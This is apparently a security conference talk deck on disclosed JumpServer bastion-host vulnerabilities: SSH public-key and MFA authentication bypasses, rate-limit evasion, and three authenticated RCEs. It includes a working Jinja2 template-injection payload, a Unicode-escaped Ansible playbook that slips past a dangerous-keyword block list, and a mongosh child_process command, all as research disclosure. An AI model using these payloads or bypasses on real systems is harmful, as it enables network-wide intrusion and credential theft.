

Diving into JumpServer

The Public Key Unlocking Your Whole Network

Oskar Zeino-Mahmalat
Insomni'hack - April 25, 2024

GET /api/me

- Oskar, @realansgar
 - Cyber-sec student in Bochum
 - CTF player @ FluxFingers
 - Vulnerability Researcher in Sonar's R&D team


GET /api/me

- Oskar, @realansgar
 - Cyber-sec student in Bochum
 - CTF player @ FluxFingers
 - Vulnerability Researcher in Sonar's R&D team
- Product innovation driven by our 0-days
 - Young team of 3.5 Vulnerability Researchers
 - More than 200 findings
 - Talk on Beating Sanitizers with mXSS tomorrow


GET /api/talk

- The target
- What is JumpServer?
- Authentication bypasses
 - SSH authentication protocol
- Authenticated RCE × 3
- Wrap-up

Single point of access



Single point of access compromise



Single points of compromise

VPN

ivanti

FORTINET

paloalto
NETWORKS

https://is.gd/cisa_ivanti
https://is.gd/rapid7_fortinet
https://is.gd/rapid7_cisco

Single Sign-On

okta



jumpcloud

https://is.gd/helpnet_okta
https://is.gd/jumpcloud_attack

Active Directory




Microsoft

Active Directory

https://is.gd/no_citation_needed

Bastion host





JumpServer

Overview

JumpServer overview

- Open-Source bastion host by Fit2Cloud
- Predominantly used in China
- SSH, RDP, HTTP, FTP, DBs, ... tunneling
- Single point of access

JumpServer overview

The screenshot shows the JumpServer web terminal interface. The top navigation bar includes 'File Manager', 'View', 'Language', 'Setting', 'Help', and 'Tab List'. The user is logged in as 'Administrator'. The terminal window shows the following session:

```
Connecting to user(user)@testhost 0.0
Welcome to OpenSSH Server
b471f91ff7bd:~$ id
uid=911(user) gid=911(user) groups=911(user),1000(users)
b471f91ff7bd:~$
```

The screenshot shows a terminal window with the following text:


```
Administrator, JumpServer 开源堡垒机
```

- 1) Enter **p** + **part IP, Hostname, Comment** to search login if unique.
- 2) Enter **/** + **IP, Hostname, Comment** to search, such as: /192.168.
- 3) Enter **p** to display the assets you have permission.
- 4) Enter **g** to display the node that you have permission.
- 5) Enter **h** to display the hosts that you have permission.
- 6) Enter **d** to display the databases that you have permission.
- 7) Enter **k** to display the kubernetes that you have permission.
- 8) Enter **r** to refresh your assets and nodes.
- 9) Enter **s** to 中文-English-日本語 switch.
- 10) Enter **?** to print help.
- 11) Enter **q** to exit.



The screenshot shows the 'Login Logs' page in the JumpServer interface. The page includes a search bar, a date range filter (2024-04-02 15:19:16 To 2024-04-09 23:59:59), and a table of login events.

<input type="checkbox"/>	Userna...	Type	Login IP	Login cit...	User agent	MFA	Reaso...
<input type="checkbox"/>	admin	Web	192.168.250.1	LAN	Mozilla/5.0 (X11; U...	Disabled	-
<input type="checkbox"/>	jordan	Web	192.168.250.1	LAN	Mozilla/5.0 (X11; U...	Disabled	-
<input type="checkbox"/>	admin	Web	192.168.250.1	LAN	Mozilla/5.0 (X11; U...	Disabled	-
<input type="checkbox"/>	jordan	Web	192.168.250.1	LAN	Mozilla/5.0 (X11; U...	Disabled	-


Microservices



Microservices



Microservices




Core



- Python - Django
- API heart of JumpServer
- Authentication & authorization
- Database access



MariaDB

- Authentication details: user names, password hashes, SSH public keys
- Credentials for hosts: SSH private keys, database passwords, ...




Koko

- Go binary
- Web Terminal for SSH and databases
- Web File Explorer for FTP
- SSH tunnel for SSH and databases




Celery


- Python - Celery
- Task queue for recurring jobs like connectivity tests
- Runs custom jobs on hosts



Interconnected microservices




Exposed microservices




Authentication bypasses

Let's get authenticated



```
sonar@insomnihack: ~  
sonar@insomnihack:~$ssh admin@jumpserver.local -p 2222  
admin@jumpserver.local's password:  
sonar@insomnihack:~$ssh admin@jumpserver.local -p 2222 -i admin.pem
```

Let's get authenticated




```
sonar@Insomnihack: ~  
Administrator, JumpServer 开源堡垒机  
1) Enter part IP, Hostname, Comment to to search login if unique.  
2) Enter / + IP, Hostname, Comment to to search, such as: /192.168.  
3) Enter p to display the assets you have permission.  
4) Enter g to display the node that you have permission.  
5) Enter h to display the hosts that you have permission.  
6) Enter d to display the databases that you have permission.  
7) Enter k to display the kubernetes that you have permission.  
8) Enter r to refresh your assets and nodes.  
9) Enter s to 中文-English-日本語 switch.  
10) Enter ? to print help.  
11) Enter q to exit.  
Opt>
```


Authentication via HTTP



Authentication via HTTP



Authentication via HTTP




Authentication via HTTP



Authentication via SSH



Authentication via SSH



Authentication via SSH




Authentication via SSH




Authentication via SSH



Authentication via SSH




Authentication via SSH




Authentication via SSH public key




Authentication via SSH public key




Authentication via SSH public key



Authentication via SSH public key




Authentication via SSH public key



Authentication via SSH?



Authentication via SSH?




Authentication via SSH?


POST /api/login
admin
ssh-rsa
AAAAB3Nza...




Authentication via SSH?



Authentication via SSH?



Authentication via SSH?



Authentication with only SSH public key


- CVE-2023-43652
- SSH public keys are not secrets 🧠
- Can be easily scraped from GitHub

Authentication with only SSH public key

- CVE-2023-43652
- SSH public keys are not secrets 🤯
- Can be easily scraped from GitHub

Demo Time!


TOTP multi-factor authentication




The screenshot shows a web browser window with the following content:

- Browser tab: JumpServer Open Sourc...
- Address bar: jumpserver.local/core/auth/profile/otp/enable/bind/
- Page title: JumpServer Open Source Bastion Host
- Page subtitle: Home page
- Main heading: Bind one-time password authenticator
- Instruction: Use the MFA Authenticator application to scan the following qr code for a 6-bit verification code
- QR code: A square QR code for scanning.
- Secret: QZBJDEFHXLDEQL4K
- Input field: A text box containing the text "Six figures".
- Next button: A green button labeled "Next".

Wait, MFA via SSH?




The screenshot shows a web browser window with the address bar displaying `jumpserver.local/core/auth/login/mfa/`. The page title is "MFA Auth". It features a dropdown menu labeled "OTP" with a downward arrow. Below it is a text input field containing the placeholder text "OTP verification code". A prominent green button labeled "Next" is positioned below the input field. At the bottom of the form, there is a link that reads "Can't provide security? Please contact the administrator!".



```
sonar@insomnihack: ~  
sonar@insomnihack:~$ssh admin@jumpserver.local -p 2222  
admin@jumpserver.local's password:  
admin  
Please Enter MFA Code.  
(admin@jumpserver.local) [OTP Code]:
```

Wait, MFA via SSH?



jumpserver.local/core/au x +

jumpserver.local/core/auth/login/mfa/ 150% ☆


MFA Auth

OTP

OTP verification code

Next

Can't provide security? Please contact the administrator!



```
sonar@insomnihack: ~  
sonar@insomnihack:~$ssh admin@jumpserver.local -p 2222  
admin@jumpserver.local's password:  
admin  
Please Enter MFA Code.  
(admin@jumpserver.local) [OTP Code]:
```



Just roll your own SSH server


```
go.mod x
go.mod
5 require (
30     github.com/Sirupsen/logrus v1.8.1
31     github.com/sirupsen/logrus v1.8.1
32     github.com/spf13/viper v1.12.0
33     github.com/xlab/treeprint v1.1.0
34     go.mongodb.org/mongo-driver v1.8.3
35     github.com/gliderlabs/ssh v0.3.3
36     golang.org/x/crypto v0.9.0
37     golang.org/x/term v0.8.0
38     golang.org/x/text v0.9.0
39     github.com/stretchr/testify v1.8.2
```

Just roll your own SSH server

```
go.mod x
go.mod
5  require (
30      github.com/Sirupsen/logrus v1.8.1
31      github.com/sirupsen/logrus v1.8.1
32      github.com/spf13/viper v1.12.0
33      github.com/xlab/treeprint v1.1.0
34      go.mongodb.org/mongo-driver v1.8.3
35      github.com/gliderlabs/ssh v0.3.3
36      golang.org/x/crypto v0.9.0
37      golang.org/x/term v0.8.0
38      golang.org/x/text v0.9.0
39      github.com/blevesearch/bleve v0.0.0
```

```
127  replace (
128      github.com/gliderlabs/ssh => github.com/LeeEirc/ssh v0.1.2-0.20231007053448-a6110c0dfc4a
129      golang.org/x/crypto => github.com/LeeEirc/crypto v0.0.0-20230919154755-059031d26b68
130  )
131
```


SSH authentication protocol




SSH authentication protocol

- SSH establishes encrypted connection before authentication
- Server has list of authentication methods
 - publickey
 - password
 - hostbased
 - keyboard-interactive
- Client asks for list
- Client chooses and tries any supported method


SSH authentication protocol




SSH authentication protocol




SSH authentication protocol




SSH authentication protocol



SSH authentication protocol



SSH authentication protocol



Checking user credentials

```
srv := &ssh.Server{
    Addr:                addr,
    KeyboardInteractiveHandler: auth.SSHKeyboardInteractiveAuth,
    PasswordHandler:    sshHandler.PasswordAuth,
    PublicKeyHandler:   sshHandler.PublicKeyAuth,
    ...
}
```

Checking user credentials

```
srv := &ssh.Server{  
    Addr:                addr,  
    KeyboardInteractiveHandler: auth.SSHKeyboardInteractiveAuth,  
    PasswordHandler:     sshHandler.PasswordAuth,  
    PublicKeyHandler:    sshHandler.PublicKeyAuth,  
    ...  
}
```



Multi-method authentication in SSH

- Force client to use multiple authentication methods

```
byte      SSH_MSG_USERAUTH_FAILURE
name-list possible auth methods
boolean   partial success
```

- Advertise remaining authentication methods
- JumpServer adds this functionality in SSH library fork
- keyboard-interactive used to implement MFA prompt


MFA + SSH password authentication



MFA + SSH password authentication



MFA + SSH password authentication



MFA + SSH password authentication




MFA + SSH password authentication




MFA + SSH password authentication



MFA + SSH password authentication




MFA + SSH password authentication



MFA + SSH public key authentication



REQUEST admin
publickey AAAAB3Nz...
signature 0x133337...



MFA + SSH public key authentication



```
REQUEST admin  
publickey AAAAB3Nz...  
signature 0x133337...
```




MFA + SSH public key authentication




REQUEST admin
publickey AAAAB3Nz...
signature 0x133337...



POST /api/login
admin AAAAB3Nz...



MFA + SSH public key authentication



MFA + SSH public key authentication



REQUEST admin
publickey AAAAB3Nz...
signature 0x133337...



POST /api/login
admin AAAAB3Nz...



FAILURE
keyboard-interactive
partial success TRUE

MFA required

REQUEST admin
keyboard-interactive


INFO_REQUEST
"Please enter code"

INFO_RESPONSE
"133337"

POST /api/mfa
133337

SUCCESS

MFA without private key



MFA without private key




pub




REQUEST admin
publickey AAAAB3Nz...




MFA without private key




MFA without private key



MFA without private key



TOTP bruteforce without private key



CVE-2023-42818

- "SSH public key login without private key challenge if mfa is enabled. "
- Originally discovered by Ethan Yang & Hui Song & pokerstarxy

```
ssh foo@<koko_ip> -p2222 -i test_id_rsa.pub
foo
Please Enter MFA Code.
(foo@<koko_ip>) [OTP Code]:
```

CVE-2023-42818

- "SSH public key login without private key challenge if mfa is enabled. "
- Originally discovered by Ethan Yang & Hui Song & pokerstarxy

```
ssh foo@<koko_ip> -p2222 -i test_id_rsa.pub
foo
Please Enter MFA Code.
(foo@<koko_ip>) [OTP Code]:
```

```
ssh foo@<koko_ip> -p2222 -i test_id_rsa.pub
Load key "test_id_rsa.pub": invalid format
```

The fix



pub



REQUEST admin
publickey AAAAB3Nz...




POST /api/login
admin AAAAB3Nz...




MFA required




The fix




The fix doesn't work



TOTP bruteforce without private key, again





TOTP bruteforce is rate limited



Rate limiting


Rate limited by IP




Rate limited by IP




Rate limited by IP




Unlimited by setting remote_addr




Unlimited by setting remote_addr




Unlimited by setting remote_addr



Unlimited by setting X-Forwarded-For



Unlimited password bruteforce



Choose your authentication

- SSH public key?

Choose your authentication

- SSH public key? CVE-2023-43652!

Choose your authentication

- SSH public key? CVE-2023-43652!
- Password?

Choose your authentication

- SSH public key? CVE-2023-43652!
- Password? CVE-2023-46123!

Choose your authentication

- SSH public key? CVE-2023-43652!
- Password? CVE-2023-46123!
- TOTP enabled?

Choose your authentication


- SSH public key? CVE-2023-43652!
- Password? CVE-2023-46123!
- TOTP enabled? CVE-2023-46123!

Choose your authentication

- SSH public key? CVE-2023-43652!
- Password? CVE-2023-46123!
- TOTP enabled? CVE-2023-46123!
- Fixed everything?

Choose your authentication

- SSH public key? CVE-2023-43652!
- Password? CVE-2023-46123!
- TOTP enabled? CVE-2023-46123!
- Fixed everything?
 - Password reset code bruteforce (CVE-2023-43650)




Choose your authentication

- SSH public key? CVE-2023-43652!
- Password? CVE-2023-46123!
- TOTP enabled? CVE-2023-46123!
- Fixed everything?
 - Password reset code bruteforce (CVE-2023-43650)
 - Password reset code fixation (CVE-2023-42820)
 - Discovered by Zhiniang Peng & Lawliet of Sangfor

Choose your authentication


- SSH public key? CVE-2023-43652!
- Password? CVE-2023-46123!
- TOTP enabled? CVE-2023-46123!
- Fixed everything?
 - Password reset code bruteforce (CVE-2023-43650)
 - Password reset code fixation (CVE-2023-42820)
 - Discovered by Zhiniang Peng & Lawliet of Sangfor



Check authentication for all API users!

- Privileged functionality reserved for microservice
 - SSH public key gives token
 - Remote IP configurable in body or header
- Missing authentication checks
- Microservice is also an API user, just like a human user
- Check authentication for all API users!

The Fix



Authenticated RCE X 3

Attacker with user account

<input type="checkbox"/>	Name	Address	Platform	Conne...	Is activ...
<input type="checkbox"/>	MongoDB	testmongo	MongoDB	Error	Active
<input type="checkbox"/>	Prod-1	testhost	Linux	Ok	Active

Total 2

15/page

< 1 >

```
Web Terminal - JumpSer... +
jumpserver.local/luna/?_=1712560574258
File Manager View Language Setting Help Tab List
Jordan Doe
My assets Prod-1
Favorite (0)
Default (2)
  MongoDB
  Prod-1
b471f91ff7bd:~$ nmap -v 192.168.250.2
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-08 07:56 UTC
Initiating Ping Scan at 07:56
Scanning 192.168.250.2 [2 ports]
Completed Ping Scan at 07:56, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:56
Completed Parallel DNS resolution of 1 host. at 07:56, 0.00s elapsed
Initiating Connect Scan at 07:56
Scanning jms_koko.jms_net (192.168.250.2) [1000 ports]
Discovered open port 2222/tcp on 192.168.250.2
Discovered open port 5000/tcp on 192.168.250.2
Completed Connect Scan at 07:56, 0.02s elapsed (1000 total ports)
Nmap scan report for jms_koko.jms_net (192.168.250.2)
Host is up (0.00014s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE
2222/tcp  open  EtherNetIP-1
5000/tcp  open  upnp

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
b471f91ff7bd:~$
```

Attacker wants RCE on JumpServer


<input type="checkbox"/>	Name	Address	Platfor...	Reachable...	Actions
<input type="checkbox"/>	MongoDB	testmo...	MongoDB	✖ Error	<button>Update</button> <button>More</button>
<input type="checkbox"/>	Prod-1	testhost	Linux	✔ Ok	<button>Update</button> <button>More</button>
<input type="checkbox"/>	Prod-2	10.0.0.1	Linux	-	<button>Update</button> <button>More</button>
<input type="checkbox"/>	Prod-3	10.0.0.4	Linux	-	<button>Update</button> <button>More</button>
<input type="checkbox"/>	Prod-4	10.0.0.8	Linux	-	<button>Update</button> <button>More</button>

Total 5

15/page < 1 >

<input type="checkbox"/>	Userna...	Type	Login IP	Login cit...	User agent	MFA	Reaso...
<input type="checkbox"/>	admin	Web	192.168.250.1	LAN	Mozilla/5.0 (X11; U...	Disabled	-
<input type="checkbox"/>	jordan	Web	192.168.250.1	LAN	Mozilla/5.0 (X11; U...	Disabled	-
<input type="checkbox"/>	admin	Web	192.168.250.1	LAN	Mozilla/5.0 (X11; U...	Disabled	-
<input type="checkbox"/>	jordan	Web	192.168.250.1	LAN	Mozilla/5.0 (X11; U...	Disabled	-

User account unlocks new functionality



A screenshot of a terminal window. At the top left, there is a green 'Run' button. To its right is a text input field containing the word 'user'. Further right is a dropdown menu labeled 'Account policy: Skip'. Below these are two more dropdown menus: 'Language: Shell' and 'Timeout (seconds): 60'. To the right of these are three icons: a folder, a save icon, and a help icon. The main area of the terminal shows a single line of code: '1 id'.



A screenshot of the terminal output. At the top left, it says 'Output:'. At the top right, it says 'Status: Success Time delta: 1.70'. Below this, there are three icons: an up arrow, a down arrow, and a refresh icon. The output text is as follows: 'Pending' followed by a link 'core/2.14/reference_appendices/interpreter_discovery.html for more information.' and then 'Prod-1 | CHANGED | rc=0 >>' followed by 'uid=911(user) gid=911(user) groups=911(user),1000(users)'.

User account unlocks new functionality

```
Output: Status: Success Time delta: 1.70  
  
Pending ↑ ↓ ↻  
core/2.14/reference_appendices/interpreter_discovery.html for more in  
formation.  
Prod-1 | CHANGED | rc=0 >>  
uid=911(user) gid=911(user) groups=911(user),1000(users)
```

User account unlocks Ansible

```
Output: Status: Success Time delta: 1.70  
  
Pending ↑ ↓ ↻  
core/2.14/reference_appendices/interpreter_discovery.html for more in  
formation.  
Prod-1 | CHANGED | rc=0 >>  
uid=911(user) gid=911(user) groups=911(user),1000(users)
```



Ansible Documentation

<https://docs.ansible.com> › latest · [Diese Seite übersetzen](#) ⋮

Interpreter Discovery — Ansible Community Documentation

If an entry is found, uses the discovered **interpreter**. If no entry is found, or the listed Python is not present on the target host, searches a list of common ...

Ansible

- "Ansible is an open source IT automation engine"


Ansible

- "Ansible is an open source IT automation engine"
- Write scripts as YAML files
- Execute them over SSH on a host fleet

Ansible in JumpServer


```
1 ---
2 - name: Print id
3   hosts: all
4   remote_user: user
5
6   tasks:
7     - name: Execute the id command
8       shell: id
9       register: result
10    - debug: var=result.stdout
```


Ansible in JumpServer



The screenshot shows the JumpServer interface for editing a playbook. The browser address bar shows the URL `jumpserver.local/ui/#/workbench/ops/playbook/23ab7104-3f3c-4b3f-...`. The user is identified as Jordan Doe. The workspace contains a file named `main.yml` with the following content:

```
1 ---
2 - name: Print id
3   hosts: all
4   remote_user: user
5
6   tasks:
7     - name: Execute the id command
8       shell: id
9       register: result
10    - debug: var=result.stdout
```



The screenshot shows the task log for the execution of the `Print id` task. The task ID is `92ef2631-c398-4cf9-bb6b-2dcdf7f86e31` and it started on 4/8/2024 at 10:21:58 AM. The log output is as follows:



```
PLAY [Print id] *****
TASK [Gathering Facts] *****
core/2.14/reference_appendices/interpreter_discovery.html for more information.
ok: [Prod-1]

TASK [Execute the id command] *****
changed: [Prod-1]


TASK [debug] *****
ok: [Prod-1] => {
  "result.stdout": "uid=911(user) gid=911(user) groups=911(user),1000(users)"
}

PLAY RECAP *****
Prod-1 : ok=3  changed=1  unreachable=0  failed=0  skipped=0
Task ops.tasks.run_ops_job_execution[92ef2631-c398-4cf9-bb6b-2dcdf7f86e31] succeeded
```

Ansible in JumpServer



Ansible in JumpServer




Ansible in JumpServer




id; ...




Ansible in JumpServer




Ansible in JumpServer




Ansible in JumpServer



Ansible playbooks



Ansible playbooks have variables




Builtin variable

You can read built-in variables using `{{ key }}` in your command

Variable	Description
<code>jms_username</code>	The current user's username of Jump
<code>jms_asset.id</code>	The id of the asset in the JumpServer
<code>jms_asset.type</code>	The type of the asset in the JumpServ
<code>jms_asset.category</code>	The category of the asset in the Jump

Ansible playbooks have templates?



```
▶ Run user Account policy: Skip  
Language: Shell Timeout (seconds): 60  
1 id
```

Builtin variable

You can read built-in variables using `{{ key }}` in your command

Variable	Description
<code>jms_username</code>	The current user's username of Jump
<code>jms_asset.id</code>	The id of the asset in the JumpServer
<code>jms_asset.type</code>	The type of the asset in the JumpServ
<code>jms_asset.category</code>	The category of the asset in the Jump

Ansible playbooks have Jinja2 templates


[Home](#) / [Using Ansible playbooks](#) / [Working with playbooks](#) / [Templating \(Jinja2\)](#)

Templating (Jinja2)

Ansible uses Jinja2 templating to enable dynamic expressions and access to [variables](#) template for a configuration file, then deploy that configuration file to multiple enviro

➤ Also Template Injection?

Ansible playbooks have Template Injection



The screenshot shows a web-based terminal interface. At the top, there's a browser address bar with the URL `jumpserver.local/ui/#/workbench/ops/quick-job?taskId=288`. Below the browser, there's a green header bar with a user profile for "Jordan Doe". The main area contains a terminal window with a "Run" button and a dropdown menu set to "user". Below the terminal, there are settings for "Language: Shell" and "Timeout (seconds): 60". The terminal content shows an Ansible playbook with a template injection:

```
1 {% for x in ().__class__.__base__.__subclasses__() %}
2   {% if "warning" in x.__name__ %}
3     {{
4       x().__module__.__builtins__[ '__import__ ' ]('os').system("""
5         echo hostname: `hostname` ; id;
6         """)
7     }}
8   {%endif%}
9 {% endfor %}
```

Ansible playbooks have Template Injection

The screenshot displays two browser windows side-by-side, both showing the same URL: `jumpserver.local/ui/#/workbench/ops/quick-job?taskId=288`. The interface is for a user named Jordan Doe.

Left Window (Playbook Code):

```
1 {% for x in ().__class__.__base__.__subclasses__() %}
2   {% if "warning" in x.__name__ %}
3     {{
4       x().__module__.__builtins__['__import__']('os').system("""
5         echo hostname: `hostname`; id;
6         """)
7     }}
8   {%endif%}
9 {% endfor %}
```

Right Window (Output):


Status: **Failed** Time delta: 1.60

Output:


```
Pending
hostname: celery
uid=0(root) gid=0(root) groups=0(root)
core/2.14/reference_appendices/interpreter_discovery.html for mo
Prod-1 | FAILED | rc=127 >>
/bin/sh: 0: not foundnon-zero return code
```

A red box highlights the output: `Pending`, `hostname: celery`, `uid=0(root) gid=0(root) groups=0(root)`, and `core/2.14/reference_appendices/interpreter_discovery.html for mo`.


Template Injection RCE




Template Injection RCE



Template Injection RCE



Template Injection RCE



More insecure Ansible features


- `name:` Run task on local system

```
hosts: localhost
```

```
tasks:
```


- `shell: id`

Running a task on the Ansible controller



```
1 - name: Run task on local system
2 hosts: localhost
3 tasks:
4   - shell: id
5     register: result
6   - debug: var=result.stdout
7 |
```

Running a task on the Ansible controller



```
1 - name: Run task on local system
2 hosts: localhost
3 tasks:
4   - shell: id
5     register: result
6   - debug: var=result.stdout
```

The 1 line of the file 'main.yml' contains the dangerous keyword 'hosts:localhost'
Start adhoc execution error: Playbook contains dangerous keywords
Task ops.tasks.run_ops_job_execution[01ee77dc-bd4d-49e4-aa71-287126be9eea] succeeded

Blocklisting keywords in playbook YAML

```
dangerous_keywords = (  
    'hosts:localhost',  
    'hosts:127.0.0.1',  
    'hosts:::1',  
    'delegate_to:localhost',  
    'delegate_to:127.0.0.1',  
    'delegate_to:::1',  
    'local_action',  
    'connection:local',  
    'ansible_connection'  
)
```

Blocklisting keywords in playbook raw string?

```
dangerous_keywords = (
    'hosts:localhost',
    'hosts:127.0.0.1',
    'hosts:::1',
    'delegate_to:localhost',
    'delegate_to:127.0.0.1',
    'delegate_to:::1',
    'local_action',
    'connection:local',
    'ansible_connection'
)
```


```
f = open(playbook_file)
for line in f:
    for keyword in dangerous_keywords:
        if keyword in normalize(line):
            block()
```

JSON + Unicode escapes in YAML

```
[
  {
    "hosts": "all",
    "tasks": [
      {
        "name": "this runs in Celery container",
        "shell": "id > /tmp/pwnd",
        "\u0064elegate_to": "localhost"
      }
    ],
    "vars": {
      "ansible_\u0063onnection": "local"
    }
  }
]
```

JSON + Unicode escapes in YAML

```
[
  {
    "hosts": "all",
    "tasks": [
      {
        "name": "this runs in Celery container",
        "shell": "id > /tmp/pwnd",
        "\u0064elegate_to": "localhost"
      }
    ],
    "vars": {
      "ansible_\u0063onnection": "local"
    }
  }
]
```




JSON + Unicode escapes in YAML


```
[
  {
    "hosts": "all",
    "tasks": [
      {
        "name": "this runs in Celery container",
        "shell": "id > /tmp/pwnd",
        "delegate_to": "localhost"
      }
    ],
    "vars": {
      "ansible_connection": "local"
    }
  }
]
```




Ansible local connection RCE




Ansible local connection RCE



Ansible local connection RCE



Ansible local connection RCE




Celery RCE impact


- CVE-2024-29201, CVE-2024-29202
- Database compromised
 - Credentials to all hosts
 - Create new users
 - Delete logs
- All hosts compromised
 - Also hosts added by admin in the future

JumpServer Docker Compose updates

JumpServer Host



JumpServer Docker Compose updates



Authenticated RCE X

3

Docker Escape

Privileged container poses Container Escape risk

```
services:
```

```
...
```

```
koko:
```

```
  image: jumpserver/koko:${VERSION}
```

```
  container_name: jms_koko
```

```
  restart: always
```

```
  privileged: true
```

```
  tty: true
```



Privileged container poses Container Escape risk

```
services:
```

```
...
```

```
koko:
```

```
  image: jumpserver/koko:${VERSION}
```

```
  container_name: jms_koko
```

```
  restart: always
```

```
  privileged: true
```

```
  tty: true
```


⊗ Warning

Use the `--privileged` flag with caution. A container with `--privileged` is not a securely sandboxed process. Containers in this mode can get a root shell on the host and take control over the system.



Koko
tunneling

MongoDB shell in the browser




The screenshot shows a web browser window titled "Web Terminal - JumpServ" with a single tab labeled "MongoDB". The address bar shows the URL "jumpserver.local/luna/?_=1712563308339". The browser interface includes a menu bar with "File Manager", "View", "Language", "Setting", "Help", and "Tab List", and a user profile "Jordan Doe". The terminal content shows the following interaction:


```
test> db.collection.find()
[ { _id: ObjectId("661405ff0e780c5dbcac8779"), hello: 'insomnihack' } ]
test> |
```

The terminal also features a settings gear icon on the right side and a watermark "Jordan Doe(jordan) MongoDB" repeated diagonally across the background.


MongoDB proxying




MongoDB proxying



MongoDB proxying



MongoDB proxying



mongosh is just Node.js



Welcome to MongoDB Shell
(mongosh)

The MongoDB Shell, `mongosh`, is a JavaScript and Node.js REPL environment for interacting with MongoDB


[Download mongosh](#)

mongosh is just Node.js




```
childProcess = require("child_process")
childProcess.execSync("id > /tmp/pwnd")
```


RCE via mongosh



RCE via mongosh




RCE via mongosh




```
hostname: koko  
uid=0(root) gid=0(root) groups=0(root)
```

RCE via mongosh leads to host RCE



RCE via mongosh leads to host RCE



JumpServer host RCE

- CVE-2023-43651
- All previous impact: all hosts, logging, ...
- Attacker gets complete persistence

JumpServer host RCE

- CVE-2023-43651
- All previous impact: all hosts, logging, ...
- Attacker gets complete persistence

Demo Time!

Root cause: threat model gap

- JumpServer

- Users can execute code on remote host



- Users cannot execute code on local host



Root cause: threat model gap

- JumpServer
 - Users can execute code on remote host
 - Users cannot execute code on local host
- Ansible & mongosh
 - Local CLI applications
 - Users can execute code on local host



RCE patches

- Ansible fork
 - Use Jinja2 Sandbox
 - Disable local connection plugin

RCE patches

- Ansible fork
 - Use Jinja2 Sandbox
 - Disable local connection plugin
- Koko: MongoDB, MySQL, Postgres, ... CLIs
 - Drop privileges to nobody
 - Drop environment

Wrap-up

Shoutouts to Fit2Cloud

- Very responsive
- Quick fixes
- Fixed Ansible bugs one month ago
- Public advisories on GitHub

Shoutouts to Fit2Cloud

- Very responsive
- Quick fixes
- Fixed Ansible bugs one month ago
- Public advisories on GitHub
- Swag (shirts, sweater, bags, ...)



Shoutouts to previous researchers

- Zhiniang Peng & Lawliet of Sangfor

- Cool password reset code fixation ¹
- Path traversal in playbook upload ²
- Read about their RCE chain: <https://is.gd/zhiniangpeng>



1) CVE-2023-42820
2) CVE-2023-42819

Shoutouts to previous researchers

- Zhiniang Peng & Lawliet of Sangfor



- Cool password reset code fixation ¹

- Path traversal in playbook upload ²

- Read about their RCE chain: <https://is.gd/zhiniangpeng>

- Ethan Yang & Hui Song & pokerstarxy



- Discovered SSH + MFA bug ³

- Kickstarted the SSH rabbit hole for me

1) CVE-2023-42820
2) CVE-2023-42819
3) CVE-2023-42818

Conclusions

- Microservice architecture can lead to exposed API properties and endpoints
- Analyze the assumptions of included third-party software
- Don't run privileged containers, period
- When you put all eggs in one basket, it better is a very secure basket



Questions?

@Sonar_Research

vulnerability.research@sonarsource.com

<https://sonarsource.com>

©2024, SonarSource S.A, Switzerland.

